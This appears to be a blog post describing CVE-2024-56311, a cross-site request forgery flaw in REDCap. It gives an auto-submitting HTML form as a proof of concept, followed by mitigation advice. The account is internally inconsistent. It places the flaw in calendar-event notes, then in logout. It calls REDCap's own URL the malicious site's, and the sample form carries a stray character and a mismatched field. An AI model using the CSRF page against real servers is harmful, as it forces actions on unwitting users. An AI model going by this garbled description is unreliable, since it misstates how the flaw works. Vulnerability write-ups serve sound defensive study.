REDCap, a widely used web application for managing clinical study data and surveys, has a serious security vulnerability in versions up to 14.9.6. This vulnerability (tracked as CVE-2024-56311) allows attackers to execute unauthorized actions on behalf of users by exploiting a CSRF vulnerability in the Notes section of calendar events. This post will provide an in-depth look at the vulnerability, its potential impact, and ways to mitigate the risk.

Exploit Details

The core issue lies in the absence of CSRF protections on REDCap's logout functionality. As a result, an attacker can trigger a logout request by crafting a malicious link and making the user access it. This effectively terminates the victim's session and potentially exposes them to additional malicious actions.

Consider the following code snippet

<html>
  <head>
    <title>Malicious CSRF Attack</title>
  </head>
  <body>
    <form action="https://redcap.example.com/index.php?ccps=L01234&action=logout"; method="POST" id="csrfForm">
      <input type="hidden" name="notes" value="This is a malicious note" />
      <input type="submit" value="View Note" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

In the above example, the form action is set to the malicious site's logout URL. When the user loads this page, the form automatically submits, sending a logout request to the REDCap server without the user's explicit consent or action.

Original References:
- MITRE's CVE Entry for CVE-2024-56311
- NIST's National Vulnerability Database Entry for CVE-2024-56311

Implications and Potential Damage

This CSRF vulnerability exposes REDCap users to unauthorized actions, which may compromise the confidentiality and integrity of their data. Attackers could craft malicious calendar events and notes with embedded links that trigger logout requests or even delete user data without consent.

Mitigation Strategies

To address this vulnerability, REDCap developers should implement CSRF protections for the logout functionality. This involves generating a unique CSRF token for each user session and requiring this token for any logout requests. In the meantime, users should take the following precautions to safeguard their data:

1. Update to the latest version of REDCap: Ensure that you're using the most recent version of the software by regularly checking the REDCap website for updates.
2. Educate users to not click on suspicious links: Encourage REDCap users to be cautious when accessing calendar events and notes, especially from unknown sources. Remind them to verify the legitimacy of any links they encounter while using REDCap.
3. Monitor user activity logs: Administrators should closely monitor user activity logs in REDCap to detect any unauthorized access or activities.

Conclusion

This REDCap vulnerability highlights the importance of implementing robust CSRF protections for all web applications, as attackers can exploit weak spots to compromise user data. By staying up-to-date on security vulnerabilities and applying recommended mitigation strategies, organizations can significantly reduce the risk of falling victim to such attacks.

Timeline

Published on: 12/22/2024 21:15:16 UTC
Last modified on: 03/13/2025 19:15:48 UTC